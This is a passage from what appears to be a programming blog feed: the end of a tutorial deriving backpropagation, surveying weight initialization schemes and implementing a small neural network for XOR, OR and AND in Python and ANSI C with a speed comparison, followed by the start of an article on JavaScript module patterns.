Thus, the gradient of the loss with respect to $W2\mathbf{W_2}$ is:

∂L∂W2=(y^−y)⋅fo′(W2h+b2)⋅h \frac{\partial L}{\partial \mathbf{W_2}} = (\hat{y} - y) \cdot f_o'(\mathbf{W_2} \mathbf{h} + \mathbf{b_2}) \cdot \mathbf{h}

4.2. Gradient of the Loss with respect to the Hidden Layer

Now, we compute the gradient with respect to the hidden layer. The chain rule gives us:

∂L∂h=∂L∂y^⋅∂y^∂h \frac{\partial L}{\partial \mathbf{h}} = \frac{\partial L}{\partial \hat{y}} \cdot \frac{\partial \hat{y}}{\partial \mathbf{h}}

Since $y^=fo(W2h+b2)\hat{y} = f_o(\mathbf{W_2} \mathbf{h} + \mathbf{b_2})$ , we have:

∂y^∂h=fo′(W2h+b2)⋅W2 \frac{\partial \hat{y}}{\partial \mathbf{h}} = f_o'(\mathbf{W_2} \mathbf{h} + \mathbf{b_2}) \cdot \mathbf{W_2}

Thus, the gradient with respect to $h\mathbf{h}$ is:

∂L∂h=(y^−y)⋅fo′(W2h+b2)⋅W2 \frac{\partial L}{\partial \mathbf{h}} = (\hat{y} - y) \cdot f_o'(\mathbf{W_2} \mathbf{h} + \mathbf{b_2}) \cdot \mathbf{W_2}

4.3. Gradient of the Loss with respect to the Hidden Layer Weights

Next, we compute the gradient with respect to the weights $W1\mathbf{W_1}$ . We again use the chain rule:

\frac{\partial L}{\partial \mathbf{W_1}} = \frac{\partial L}{\partial \mathbf{h}} \cdot \frac{\partial \mathbf{h}}{\partial \mathbf{W_1}}

Since $h=fh(W1x+b1)\mathbf{h} = f_h(\mathbf{W_1} \mathbf{x} + \mathbf{b_1})$ , we have:

\frac{\partial \mathbf{h}}{\partial \mathbf{W_1}} = f_h'(\mathbf{W_1} \mathbf{x} + \mathbf{b_1}) \cdot \mathbf{x}

Thus, the gradient with respect to $W1\mathbf{W_1}$ is:

∂L∂W1=(y^−y)⋅fo′(W2h+b2)⋅W2⋅fh′(W1x+b1)⋅x \frac{\partial L}{\partial \mathbf{W_1}} = (\hat{y} - y) \cdot f_o'(\mathbf{W_2} \mathbf{h} + \mathbf{b_2}) \cdot \mathbf{W_2} \cdot f_h'(\mathbf{W_1} \mathbf{x} + \mathbf{b_1}) \cdot \mathbf{x}

5. Weight Updates

Finally, once we have computed the gradients, we update the weights using an optimization algorithm such as stochastic gradient descent (SGD). The update rule for each weight is given by:

\mathbf{W_1} = \mathbf{W_1} - \eta \frac{\partial L}{\partial \mathbf{W_1}}

\mathbf{W_2} = \mathbf{W_2} - \eta \frac{\partial L}{\partial \mathbf{W_2}}

where $η\eta$ is the learning rate.

Weight Initialization Techniques

Weight initialization is a crucial aspect of training deep neural networks. Properly initialized weights can help the model converge faster, avoid issues such as vanishing and exploding gradients, and ensure better performance. This section discusses various weight initialization techniques that have been developed to address the challenges associated with initializing weights in neural networks.

Importance of Weight Initialization

In neural networks, the initial values of weights can significantly impact the optimization process. Poor initialization can lead to slow convergence, or even failure to converge at all. This is especially problematic in deep networks, where the gradients may either vanish (in very deep networks) or explode (when gradients are too large). Thus, proper weight initialization techniques are required to ensure that the network trains effectively.

Random Initialization

In the early days of neural networks, a common practice was to initialize weights randomly, often uniformly or with a Gaussian (normal) distribution. The general idea behind random initialization is to break the symmetry in the network, ensuring that each neuron learns different features and avoids the problem of neurons learning the same features.

For a given layer $l$ , the weights $W(l)\mathbf{W^{(l)}}$ might be initialized as:

\mathbf{W^{(l)}} \sim \mathcal{U}(-\epsilon, \epsilon)

where $U\mathcal{U}$ denotes a uniform distribution, and $ϵ\epsilon$ is a small constant (e.g., $ϵ=0.1\epsilon = 0.1$ ).

While random initialization is a simple approach, it can cause issues like slow convergence or poor generalization. This led to the development of more sophisticated initialization techniques.

Xavier/Glorot Initialization

The Xavier initialization (also known as Glorot initialization) was proposed to address the issue of gradients vanishing or exploding in deep networks. It takes into account the number of input and output units in a layer and scales the weights accordingly. The idea is to ensure that the variance of the activations and gradients is roughly the same across all layers.

For a layer with $ninputn_{\text{input}}$ input neurons and $noutputn_{\text{output}}$ output neurons, the weights are initialized from a distribution with zero mean and variance given by:

\text{Var}(\mathbf{W^{(l)}}) = \frac{2}{n_{\text{input}} + n_{\text{output}}}

In practice, this means that the weights are drawn from a uniform or normal distribution with mean zero and variance $2ninput+noutput\frac{2}{n_{\text{input}} + n_{\text{output}}}$ . The Xavier initialization works well when using the sigmoid or tanh activation functions, which are commonly used in classical neural networks.

He Initialization

He initialization, proposed by Kaiming He and colleagues, improves upon Xavier initialization by scaling the weights based on the number of input units in each layer. This technique is particularly useful when ReLU or its variants (such as Leaky ReLU or Parametric ReLU) are used as activation functions, as these activations tend to have a different behavior than sigmoid or tanh.

The weights are initialized using a normal distribution with zero mean and variance:

\text{Var}(\mathbf{W^{(l)}}) = \frac{2}{n_{\text{input}}}

where $ninputn_{\text{input}}$ is the number of input neurons to the layer. This initialization helps prevent the gradients from vanishing and exploding by ensuring that the activations and gradients stay in a reasonable range during the forward and backward passes.

LeCun Initialization

LeCun initialization is another initialization technique, which is specifically designed for deep networks using the sigmoid or tanh activation functions. It is similar to Xavier initialization but adjusts the variance based on the number of input neurons to prevent vanishing gradients.

The weights are initialized using a normal distribution with zero mean and variance:

\text{Var}(\mathbf{W^{(l)}}) = \frac{1}{n_{\text{input}}}

where $ninputn_{\text{input}}$ is the number of input neurons. This technique helps to balance the signal propagation through layers and mitigates issues with vanishing gradients.

Uniform vs. Normal Distribution

In practice, weights can be initialized using either a uniform distribution or a normal distribution. The key difference lies in how the distribution is defined:

Uniform Distribution: Weights are drawn from a uniform distribution between two values (e.g., $−ϵ-\epsilon$ and $ϵ\epsilon$ ).
Normal Distribution: Weights are drawn from a normal (Gaussian) distribution with a specified mean and variance.

Each distribution has its own advantages. The uniform distribution is often simpler to implement and may work well for certain problems, while the normal distribution ensures that the weights are centered around zero and are more likely to cover a wider range of values.

Bias Initialization

While the initialization of weights is crucial, the initialization of biases also plays an important role in training neural networks. Biases are typically initialized to small constant values, often zero. Initializing biases to zero is generally sufficient for most cases because the bias update during backpropagation does not suffer from the same issues as weight updates (i.e., vanishing or exploding gradients). In some cases, however, small positive values are used to avoid neurons starting in the “off” state (e.g., for ReLU activations).

Bias vs. Weight Initialization for Specific Activation Functions

Different activation functions can benefit from different weight and bias initialization strategies. The table below summarizes the recommended initialization strategies for common activation functions:

Activation Function	Recommended Weight Initialization
Sigmoid	Xavier/Glorot
Tanh	Xavier/Glorot
ReLU	He Initialization
Leaky ReLU	He Initialization
Softmax	Xavier/Glorot

Batch Normalization and Weight Initialization

Batch normalization (BN) is a technique that normalizes the output of each layer, which can alleviate the problem of poor initialization by ensuring that the inputs to each layer have zero mean and unit variance. With batch normalization, the impact of weight initialization becomes less critical, as the normalization step reduces the risk of vanishing and exploding gradients. However, proper initialization still helps the network learn faster and more efficiently.

Python Implementation

In this section, we provide an implementation of a simple feedforward neural network in Python using NumPy. This implementation mirrors the structure and functionality of the neural network described in previous sections, but it is implemented using Python's powerful scientific computing library, NumPy.

The neural network we are implementing is a basic multi-layer perceptron (MLP) with one hidden layer. The network is trained using the backpropagation algorithm to solve three logical problems: XOR, OR, and AND.

Class Definition: `NeuralNet`

The NeuralNet class encapsulates the properties and behaviors of our neural network. It includes methods for training the network, performing predictions, and initializing the weights.

Initialization Method: `init`

The __init__ method is used to initialize the network's properties. It takes the input size, hidden layer size, output size, and learning rate as parameters. The weights are initialized randomly using a uniform distribution between -0.1 and 0.1.

class NeuralNet:
    def __init__(self, input_size, hidden_size, output_size, learning_rate):
        self.input_size = input_size
        self.hidden_size = hidden_size
        self.output_size = output_size
        self.learning_rate = learning_rate

        self.weights_input_hidden = np.random.uniform(-0.1, 0.1, (input_size, hidden_size))
        self.weights_hidden_output = np.random.uniform(-0.1, 0.1, hidden_size)

Here, self.weights_input_hidden stores the weights connecting the input layer to the hidden layer, and self.weights_hidden_output stores the weights connecting the hidden layer to the output layer.

Activation Functions: `sigmoid` and `sigmoid_derivative`

The activation function used in this implementation is the sigmoid function, which is commonly used in neural networks due to its smooth gradient and the fact that its output is between 0 and 1, making it suitable for binary classification problems.

@staticmethod
def sigmoid(x):
    return 1 / (1 + np.exp(-x))

@staticmethod
def sigmoid_derivative(x):
    return x * (1 - x)

The sigmoid_derivative function is used during backpropagation to compute the gradients of the error with respect to the weights.

Training Method: `train`

The train method implements the backpropagation algorithm to update the weights of the network. It loops over all training samples for a specified number of epochs, performs forward propagation, computes the error, and updates the weights using gradient descent.

def train(self, inputs, outputs, epochs):
    inputs = np.array(inputs)
    outputs = np.array(outputs)

    for epoch in range(epochs):
        for sample, target in zip(inputs, outputs):
            hidden_layer = self.sigmoid(np.dot(sample, self.weights_input_hidden))
            output = self.sigmoid(np.dot(hidden_layer, self.weights_hidden_output))
            error = target - output
            delta_output = error * self.sigmoid_derivative(output)

            delta_hidden = delta_output * self.weights_hidden_output * self.sigmoid_derivative(hidden_layer)
            self.weights_hidden_output += self.learning_rate * delta_output * hidden_layer
            self.weights_input_hidden += self.learning_rate * np.outer(sample, delta_hidden)

In this method:

The input is passed through the input-to-hidden weights, and the hidden layer output is computed using the sigmoid function.
The output of the network is then calculated by passing the hidden layer output through the hidden-to-output weights.
The error is computed by subtracting the network's output from the actual target value.
The error is backpropagated through the network by calculating the gradients and updating the weights accordingly.

Prediction Method: `predict`

The predict method performs forward propagation given an input sample and computes the network's output. It is used to make predictions after the network has been trained.

def predict(self, input):
    hidden_layer = self.sigmoid(np.dot(input, self.weights_input_hidden))
    output = self.sigmoid(np.dot(hidden_layer, self.weights_hidden_output))
    return output

Main Program

In the main program, we define the datasets for the XOR, OR, and AND logical operations. We then instantiate the neural network for each logical operation, train the network, and print the results after training.

if __name__ == "__main__":
    Xor = [[0, 0], [0, 1], [1, 0], [1, 1]]
    y_xor = [0, 1, 1, 0]

    Or = [[0, 0], [0, 1], [1, 0], [1, 1]]
    y_or = [0, 1, 1, 1]

    And = [[0, 0], [0, 1], [1, 0], [1, 1]]
    y_and = [0, 0, 0, 1]

    net_xor = NeuralNet(input_size=2, hidden_size=12, output_size=1, learning_rate=0.05)
    net_or = NeuralNet(input_size=2, hidden_size=12, output_size=1, learning_rate=0.05)
    net_and = NeuralNet(input_size=2, hidden_size=12, output_size=1, learning_rate=0.05)

    net_xor.train(Xor, y_xor, epochs=200000)
    net_or.train(Or, y_or, epochs=200000)
    net_and.train(And, y_and, epochs=200000)

    print("Post-training results (XOR Problem):")
    for sample in Xor:
        output = net_xor.predict(sample)
        print(f"Input: {sample} -> Output: {output:.6f} (Prediction: {int(output > 0.5)})")

    print("\nPost-training results (OR Problem):")
    for sample in Or:
        output = net_or.predict(sample)
        print(f"Input: {sample} -> Output: {output:.6f} (Prediction: {int(output > 0.5)})")

    print("\nPost-training results (AND Problem):")
    for sample in And:
        output = net_and.predict(sample)
        print(f"Input: {sample} -> Output: {output:.6f} (Prediction: {int(output > 0.5)})")

Explanation of the Output

After training the neural network for 200,000 epochs on each of the logical datasets (XOR, OR, AND), the network is expected to output the correct predictions for each input sample. The output will be close to 0 or 1, with the network's prediction being classified as 1 if the output is greater than 0.5, and 0 otherwise.

Post-training results (XOR Problem):  
Input: [0, 0] -> Output: 0.018405 (Prediction: 0)  
Input: [0, 1] -> Output: 0.982032 (Prediction: 1)  
Input: [1, 0] -> Output: 0.982620 (Prediction: 1)  
Input: [1, 1] -> Output: 0.016189 (Prediction: 0)  

Post-training results (OR Problem):  
Input: [0, 0] -> Output: 0.010663 (Prediction: 0)  
Input: [0, 1] -> Output: 0.993518 (Prediction: 1)  
Input: [1, 0] -> Output: 0.993501 (Prediction: 1)  
Input: [1, 1] -> Output: 0.999262 (Prediction: 1)  

Post-training results (AND Problem):  
Input: [0, 0] -> Output: 0.000000 (Prediction: 0)  
Input: [0, 1] -> Output: 0.009322 (Prediction: 0)  
Input: [1, 0] -> Output: 0.009421 (Prediction: 0)  
Input: [1, 1] -> Output: 0.986279 (Prediction: 1)

ANSI C Implementation

In this section, we provide an implementation of a simple feedforward neural network in ANSI C. The network includes a single hidden layer and uses backpropagation to train on logical problems like XOR, OR, and AND. The code is designed to be efficient, utilizing C's low-level memory management and computational power.

Before following the tutorial you can use your file structure as follows:

├── CMakeLists.txt
├── neural_net.c
├── neural_net.h
└── tests
    ├── test_and.c
    ├── test_or.c
    └── test_xor.c
└── build

Header File: `neural_net.h`

The neural_net.h header defines the structure and function prototypes for the neural network. The structure NeuralNet holds the configuration and weights of the network, and the functions include methods for creating the network, training, predicting, and freeing resources.

#ifndef NEURAL_NET_H
#define NEURAL_NET_H

#include <math.h>

typedef struct
{
    int input_size;
    int hidden_size;
    int output_size;
    double **weights_input_hidden;
    double *weights_hidden_output;
    double learning_rate;
} NeuralNet;

NeuralNet *create_neural_net(int input_size, int hidden_size, int output_size, double learning_rate);
void train(NeuralNet *net, double **inputs, double *outputs, int num_samples, int epochs);
double predict(NeuralNet *net, double *input);
void free_neural_net(NeuralNet *net);

#endif

input_size, hidden_size, and output_size store the dimensions of the network.
weights_input_hidden and weights_hidden_output store the weights of the network, where weights_input_hidden is a 2D array and weights_hidden_output is a 1D array.
learning_rate determines the step size in the weight update during training.

The functions declared here are responsible for initializing the network, training it using the backpropagation algorithm, making predictions, and freeing dynamically allocated memory.

Source File: `neural_net.c`

The neural_net.c file contains the function definitions that implement the neural network's functionality, including the forward propagation and backpropagation algorithms.

Helper Functions

sigmoid: The activation function used in the network.
sigmoid_derivative: The derivative of the sigmoid function, which is used during backpropagation.
random_weight: A helper function to initialize the weights with small random values.

static double sigmoid(double x)
{
    return 1.0 / (1.0 + exp(-x));
}

static double sigmoid_derivative(double x)
{
    return x * (1 - x);
}

static double random_weight()
{
    return ((double)rand() / RAND_MAX) * 0.2 - 0.1;
}

Neural Network Creation: `create_neural_net`

This function allocates memory for the neural network structure, initializes the weights randomly, and sets the network parameters (input size, hidden size, output size, and learning rate).

NeuralNet *create_neural_net(int input_size, int hidden_size, int output_size, double learning_rate)
{
    NeuralNet *net = (NeuralNet *)malloc(sizeof(NeuralNet));
    net->input_size = input_size;
    net->hidden_size = hidden_size;
    net->output_size = output_size;
    net->learning_rate = learning_rate;

    net->weights_input_hidden = (double **)malloc(input_size * sizeof(double *));
    for (int i = 0; i < input_size; i++)
    {
        net->weights_input_hidden[i] = (double *)malloc(hidden_size * sizeof(double));
        for (int j = 0; j < hidden_size; j++)
        {
            net->weights_input_hidden[i][j] = random_weight();
        }
    }

    net->weights_hidden_output = (double *)malloc(hidden_size * sizeof(double));
    for (int i = 0; i < hidden_size; i++)
    {
        net->weights_hidden_output[i] = random_weight();
    }

    return net;
}

Training Function: `train`

The train function implements the backpropagation algorithm. It updates the weights iteratively over a specified number of epochs using the training data. The function calculates the error, propagates it backward, and adjusts the weights.

void train(NeuralNet *net, double **inputs, double *outputs, int num_samples, int epochs)
{
    double *hidden_layer = (double *)malloc(net->hidden_size * sizeof(double));
    double output;

    for (int epoch = 0; epoch < epochs; epoch++)
    {
        for (int sample = 0; sample < num_samples; sample++)
        {
            for (int j = 0; j < net->hidden_size; j++)
            {
                hidden_layer[j] = 0.0;
                for (int i = 0; i < net->input_size; i++)
                {
                    hidden_layer[j] += inputs[sample][i] * net->weights_input_hidden[i][j];
                }
                hidden_layer[j] = sigmoid(hidden_layer[j]);
            }

            output = 0.0;
            for (int j = 0; j < net->hidden_size; j++)
            {
                output += hidden_layer[j] * net->weights_hidden_output[j];
            }
            output = sigmoid(output);

            double error = outputs[sample] - output;
            double delta_output = error * sigmoid_derivative(output);

            double *delta_hidden = (double *)malloc(net->hidden_size * sizeof(double));
            for (int j = 0; j < net->hidden_size; j++)
            {
                delta_hidden[j] = delta_output * net->weights_hidden_output[j] * sigmoid_derivative(hidden_layer[j]);
                net->weights_hidden_output[j] += net->learning_rate * delta_output * hidden_layer[j];
            }

            for (int i = 0; i < net->input_size; i++)
            {
                for (int j = 0; j < net->hidden_size; j++)
                {
                    net->weights_input_hidden[i][j] += net->learning_rate * delta_hidden[j] * inputs[sample][i];
                }
            }

            free(delta_hidden);
        }
    }

    free(hidden_layer);
}

This function works as follows:

Forward Propagation: The input is propagated through the network to the output.
Error Calculation: The difference between the network's prediction and the target output is computed.
Backpropagation: The error is propagated backward to update the weights of the network.

Prediction Function: `predict`

The predict function performs forward propagation using a given input and returns the network's output.

double predict(NeuralNet *net, double *input)
{
    double *hidden_layer = (double *)malloc(net->hidden_size * sizeof(double));
    for (int j = 0; j < net->hidden_size; j++)
    {
        hidden_layer[j] = 0.0;
        for (int i = 0; i < net->input_size; i++)
        {
            hidden_layer[j] += input[i] * net->weights_input_hidden[i][j];
        }
        hidden_layer[j] = sigmoid(hidden_layer[j]);
    }

    double output = 0.0;
    for (int j = 0; j < net->hidden_size; j++)
    {
        output += hidden_layer[j] * net->weights_hidden_output[j];
    }
    output = sigmoid(output);

    free(hidden_layer);
    return output;
}

Freeing Resources: `free_neural_net`

This function deallocates the memory used by the neural network, ensuring there are no memory leaks.

void free_neural_net(NeuralNet *net)
{
    for (int i = 0; i < net->input_size; i++)
    {
        free(net->weights_input_hidden[i]);
    }
    free(net->weights_input_hidden);
    free(net->weights_hidden_output);
    free(net);
}

CMake Configuration: `CMakeLists.txt`

The CMake configuration is used to build the neural network project. It specifies the C standard, the source files, and links the math library for functions like exp().

cmake_minimum_required(VERSION 3.10)
project(NeuralNet)
set(CMAKE_C_STANDARD 99)
set(SOURCES
    neural_net.c
)
include_directories(${CMAKE_SOURCE_DIR})
add_executable(run_and ${SOURCES} tests/test_and.c)
add_executable(run_or ${SOURCES} tests/test_or.c)
add_executable(run_xor ${SOURCES} tests/test_xor.c)
target_link_libraries(run_and m)
target_link_libraries(run_or m)
target_link_libraries(run_xor m)
add_custom_command(TARGET run_and PRE_BUILD
    COMMAND ${CMAKE_COMMAND} -E make_directory ${CMAKE_BINARY_DIR})
add_custom_command(TARGET run_or PRE_BUILD
    COMMAND ${CMAKE_COMMAND} -E make_directory ${CMAKE_BINARY_DIR})
add_custom_command(TARGET run_xor PRE_BUILD
    COMMAND ${CMAKE_COMMAND} -E make_directory ${CMAKE_BINARY_DIR})

The CMake configuration defines three separate executables for testing the XOR, OR, and AND logic gates.

Logical Gates: XOR, AND, OR

In this section, we apply the neural network implementation to solve basic logical gate problems: XOR, AND, and OR. These problems are often used to test the ability of a neural network to learn non-linear patterns and generalize based on training data.

XOR Problem: `test_xor.c`

The XOR (exclusive OR) problem is a classic non-linear problem where the output is true (1) only when exactly one of the inputs is true (1). This is represented as follows:

Input 1	Input 2	Output (XOR)
0	0	0
0	1	1
1	0	1
1	1	0

The neural network is trained on this data, and after training, the network should be able to predict the correct output for each combination of inputs.

XOR Test Code (`test_xor.c`)

#include <stdio.h>
#include "neural_net.h"

int main()
{
    double Xor[4][2] = {{0, 0}, {0, 1}, {1, 0}, {1, 1}};
    double y_xor[4] = {0, 1, 1, 0};
    double *inputs[4] = {Xor[0], Xor[1], Xor[2], Xor[3]};

    NeuralNet *net = create_neural_net(2, 12, 1, 0.05);

    train(net, inputs, y_xor, 4, 200000);

    printf("Post-training results (XOR Problem):\n");
    for (int i = 0; i < 4; i++)
    {
        double output = predict(net, Xor[i]);
        printf("Input: %d, %d -> Output: %f (Prediction: %d)\n",
               (int)Xor[i][0], (int)Xor[i][1], output, (output > 0.5) ? 1 : 0);
    }
    free_neural_net(net);
    return 0;
}

Explanation:

Inputs: The XOR data is stored in a 2D array Xor[4][2], where each row represents an input pair.
Expected Outputs: The target outputs are stored in y_xor[4], which corresponds to the XOR of the two inputs.
Training: The neural network is created with an input size of 2, a hidden layer size of 12, and an output size of 1. The learning rate is set to 0.05, and the network is trained for 200,000 epochs.
Prediction: After training, the network predicts the output for each input pair, and the results are printed, where the output is compared to the expected prediction (0 or 1).

OR Problem: `test_or.c`

The OR problem is another simple logical operation where the output is true (1) if at least one of the inputs is true (1). This is represented as follows:

Input 1	Input 2	Output (OR)
0	0	0
0	1	1
1	0	1
1	1	1

OR Test Code (`test_or.c`)

#include <stdio.h>
#include "neural_net.h"

int main()
{
    double X_or[4][2] = {{0, 0}, {0, 1}, {1, 0}, {1, 1}};
    double y_or[4] = {0, 1, 1, 1};
    double *inputs[4] = {X_or[0], X_or[1], X_or[2], X_or[3]};

    NeuralNet *net = create_neural_net(2, 12, 1, 0.05);
    train(net, inputs, y_or, 4, 200000);
    printf("Post-training results (OR Problem):\n");
    for (int i = 0; i < 4; i++)
    {
        double output = predict(net, X_or[i]);
        printf("Input: %d, %d -> Output: %f (Prediction: %d)\n",
               (int)X_or[i][0], (int)X_or[i][1], output, (output > 0.5) ? 1 : 0);
    }
    free_neural_net(net);
    return 0;
}

Explanation:

Inputs: The OR data is stored in a 2D array X_or[4][2].
Expected Outputs: The expected outputs for the OR operation are stored in y_or[4].
Training: Similar to the XOR problem, the neural network is trained for 200,000 epochs.
Prediction: The predictions for each input pair are printed out.

AND Problem: `test_and.c`

The AND problem is a logical operation where the output is true (1) only when both inputs are true (1). This is represented as follows:

Input 1	Input 2	Output (AND)
0	0	0
0	1	0
1	0	0
1	1	1

AND Test Code (`test_and.c`)

#include <stdio.h>
#include "neural_net.h"

int main()
{
    double X_and[4][2] = {{0, 0}, {0, 1}, {1, 0}, {1, 1}};
    double y_and[4] = {0, 0, 0, 1};
    double *inputs[4] = {X_and[0], X_and[1], X_and[2], X_and[3]};
    NeuralNet *net = create_neural_net(2, 12, 1, 0.05);

    train(net, inputs, y_and, 4, 100000);

    printf("Post-training results (AND Problem):\n");
    for (int i = 0; i < 4; i++)
    {
        double output = predict(net, X_and[i]);
        printf("Input: %d, %d -> Output: %f (Prediction: %d)\n",
               (int)X_and[i][0], (int)X_and[i][1], output, (output > 0.5) ? 1 : 0);
    }
    free_neural_net(net);
    return 0;
}

Explanation:

Inputs: The AND data is stored in X_and[4][2].
Expected Outputs: The expected outputs for the AND operation are stored in y_and[4].
Training: The network is trained for 100,000 epochs.
Prediction: After training, the predictions for each input pair are printed.

If we look at the data we obtained from all our tests, we see that we were successful:

Post-training results (XOR Problem):
Input: 0, 0 -> Output: 0.019325 (Prediction: 0)
Input: 0, 1 -> Output: 0.981115 (Prediction: 1)
Input: 1, 0 -> Output: 0.981786 (Prediction: 1)
Input: 1, 1 -> Output: 0.017010 (Prediction: 0)

Post-training results (OR Problem):
Input: 0, 0 -> Output: 0.008416 (Prediction: 0)
Input: 0, 1 -> Output: 0.994724 (Prediction: 1)
Input: 1, 0 -> Output: 0.994704 (Prediction: 1)
Input: 1, 1 -> Output: 0.999842 (Prediction: 1)

Post-training results (AND Problem):
Input: 0, 0 -> Output: 0.000000 (Prediction: 0)
Input: 0, 1 -> Output: 0.017231 (Prediction: 0)
Input: 1, 0 -> Output: 0.017089 (Prediction: 0)
Input: 1, 1 -> Output: 0.975378 (Prediction: 1)

Comparing Python and ANSI C Implementations

In this section, we perform a comprehensive comparison between the neural network implementations in Python and ANSI C, focusing on their performance and execution efficiency. Although both implementations utilize the same fundamental structure and training algorithm, the differences in their underlying programming languages yield notable contrasts in performance and runtime characteristics.

Theoretical Foundations:

The neural network model implemented in both Python and ANSI C uses a single hidden layer with a sigmoid activation function. This model is trained using a simple backpropagation algorithm, where the weights are updated based on the gradient of the error with respect to the weights. Both implementations apply the same dataset (XOR, OR, and AND logical operations) and undergo identical training regimes, making this comparison a fair assessment of the performance characteristics of both languages in the context of neural network training.

Python Implementation
Python, being a high-level language, allows for rapid development and testing. Libraries such as NumPy provide highly optimized matrix operations, but the language itself introduces some overhead due to its dynamic typing and interpreted nature. This makes Python an excellent choice for prototyping and experimentation, but less suited for performance-critical applications where low latency is crucial.
ANSI C Implementation
ANSI C, on the other hand, offers low-level access to memory and a more direct way of manipulating data. The absence of an interpreter and the use of static typing allows C to execute faster than Python in many cases. Additionally, C gives the programmer complete control over memory management, which, when utilized effectively, can result in significantly improved performance.

Empirical Performance Comparison:

To evaluate the efficiency of both implementations, we conducted time tests on the XOR, OR, and AND logical gate problems. The following results were observed:

C Implementation Results

❯ time ./run_xor; time ./run_or; time ./run_and

Post-training results (XOR Problem):
Input: 0, 0 -> Output: 0.019325 (Prediction: 0)
Input: 0, 1 -> Output: 0.981115 (Prediction: 1)
Input: 1, 0 -> Output: 0.981786 (Prediction: 1)
Input: 1, 1 -> Output: 0.017010 (Prediction: 0)
./run_xor  0,39s user 0,00s system 99% cpu 0,398 total

Post-training results (OR Problem):
Input: 0, 0 -> Output: 0.008416 (Prediction: 0)
Input: 0, 1 -> Output: 0.994724 (Prediction: 1)
Input: 1, 0 -> Output: 0.994704 (Prediction: 1)
Input: 1, 1 -> Output: 0.999842 (Prediction: 1)
./run_or  0,39s user 0,00s system 99% cpu 0,387 total

Post-training results (AND Problem):
Input: 0, 0 -> Output: 0.000000 (Prediction: 0)
Input: 0, 1 -> Output: 0.017231 (Prediction: 0)
Input: 1, 0 -> Output: 0.017089 (Prediction: 0)
Input: 1, 1 -> Output: 0.975378 (Prediction: 1)
./run_and  0,19s user 0,00s system 99% cpu 0,196 total

Python Implementation Results

❯ time python ./run.py

Post-training results (XOR Problem):
Input: [0, 0] -> Output: 0.019555 (Prediction: 0)
Input: [0, 1] -> Output: 0.980941 (Prediction: 1)
Input: [1, 0] -> Output: 0.981516 (Prediction: 1)
Input: [1, 1] -> Output: 0.017204 (Prediction: 0)

Post-training results (OR Problem):
Input: [0, 0] -> Output: 0.009163 (Prediction: 0)
Input: [0, 1] -> Output: 0.994319 (Prediction: 1)
Input: [1, 0] -> Output: 0.994298 (Prediction: 1)
Input: [1, 1] -> Output: 0.999694 (Prediction: 1)

Post-training results (AND Problem):
Input: [0, 0] -> Output: 0.000000 (Prediction: 0)
Input: [0, 1] -> Output: 0.010318 (Prediction: 0)
Input: [1, 0] -> Output: 0.010156 (Prediction: 0)
Input: [1, 1] -> Output: 0.985612 (Prediction: 1)

python run.py  41,19s user 0,02s system 101% cpu 40,771 total

Analysis of Results

From the performance results, we can make several key observations:

Execution Time
- The C implementation demonstrates significantly faster execution times compared to the Python implementation. The total time for running the XOR, OR, and AND tests in C is approximately 0.4 seconds per test, whereas the Python implementation takes around 40.77 seconds for the same set of tests. This stark difference arises primarily due to the overhead introduced by the Python interpreter and the dynamic nature of the language.
- The C version runs almost in real-time, while the Python version, despite its convenient high-level operations, incurs considerable time penalties due to the interpreted execution environment.
Optimization Potential
- The C code’s performance is primarily dependent on the optimized nature of compiled languages, where each instruction is executed directly by the hardware. The absence of an interpreter and the ability to manipulate memory directly enables C to leverage hardware capabilities to a greater extent.
- On the other hand, Python’s ease of use comes at the cost of slower execution, especially when handling computationally intensive tasks like training a neural network. However, this trade-off is acceptable for smaller-scale problems or for environments where developer productivity and ease of debugging are more critical.
Scalability
- As the complexity of the neural network increases (e.g., adding more layers or increasing the dataset size), the performance gap between Python and C becomes even more pronounced. While Python can still be used effectively for small-scale models, for large-scale models or time-sensitive applications, C provides a far more efficient alternative.

If you want to access the source code, you can contact me. I can
upload it to a repo, but I'm pretty sure that all you'll want to do is
copy and paste the code from there and then forget how it's coded. So
you should try to do it yourself. All the code is already in the
article. But if you have any questions, especially if you have
problems with compilation or errors, definitely contact me.

JavaScript Module Formats and Tools

Fatih Küçükkarakurt — Sat, 16 Apr 2022 22:38:56 +0000

When you build an application with JavaScript, you always want to modularize your code. However, JavaScript language was initially invented for simple form manipulation, with no built-in features like module or namespace. In years, tons of technologies are invented to modularize JavaScript. This article discusses all mainstream terms, patterns, libraries, syntax, and tools for JavaScript modules.

IIFE Module: JavaScript Module Pattern

In the browser, defining a JavaScript variable is defining a global variable, which causes pollution across all JavaScript files loaded by the current web page:

// Define global variables.
let count = 0;
const increase = () => ++count;
const reset = () => {
    count = 0;
    console.log("Count is reset.");
};

// Use global variables.
increase();
reset();

To avoid global pollution, an anonymous function can be used to wrap the code:

(() => {
    let count = 0;
    // ...
});

Apparently, there is no longer any global variable. However, defining a function does not execute the code inside the function.

IIFE: Immediately Invoked Function Expression

To execute the code inside a function f, the syntax is function call () as f(). To execute the code inside an anonymous function (() => {}), the same function call syntax () can be used as (() => {})():

(() => {
    let count = 0;
    // ...
})();

This is called an IIFE (Immediately invoked function expression). So a basic module can be defined in this way:

// Define IIFE module.
const iifeCounterModule = (() => {
    let count = 0;
    return {
        increase: () => ++count,
        reset: () => {
            count = 0;
            console.log("Count is reset.");
        }
    };
})();

// Use IIFE module.
iifeCounterModule.increase();
iifeCounterModule.reset();

It wraps the module code inside an IIFE. The anonymous function returns an object, which is the placeholder of exported APIs. Only 1 global variable is introduced, which is the module name (or namespace). Later, the module name can be used to call the exported module APIs. This is called the module pattern of JavaScript.

Import mixins

When defining a module, some dependencies may be required. With IIFE module pattern, each dependent module is a global variable. The dependent modules can be directly accessed inside the anonymous function, or they can be passed as the anonymous function’s arguments:

// Define IIFE module with dependencies.
const iifeCounterModule = ((dependencyModule1, dependencyModule2) => {
    let count = 0;
    return {
        increase: () => ++count,
        reset: () => {
            count = 0;
            console.log("Count is reset.");
        }
    };
})(dependencyModule1, dependencyModule2);

The early version of popular libraries, like jQuery, followed this pattern.

Revealing Module: JavaScript Revealing Module Pattern

The revealing module pattern is named by Christian Heilmann. This pattern is also an IIFE, but it emphasizes defining all APIs as local variables inside the anonymous function:

// Define revealing module.
const revealingCounterModule = (() => {
    let count = 0;
    const increase = () => ++count;
    const reset = () => {
        count = 0;
        console.log("Count is reset.");
    };

    return {
        increase,
        reset
    };
})();

// Use revealing module.
revealingCounterModule.increase();
revealingCounterModule.reset();

With this syntax, it becomes easier when the APIs need to call each other.

CJS Module: CommonJS Module, or Node.js Module

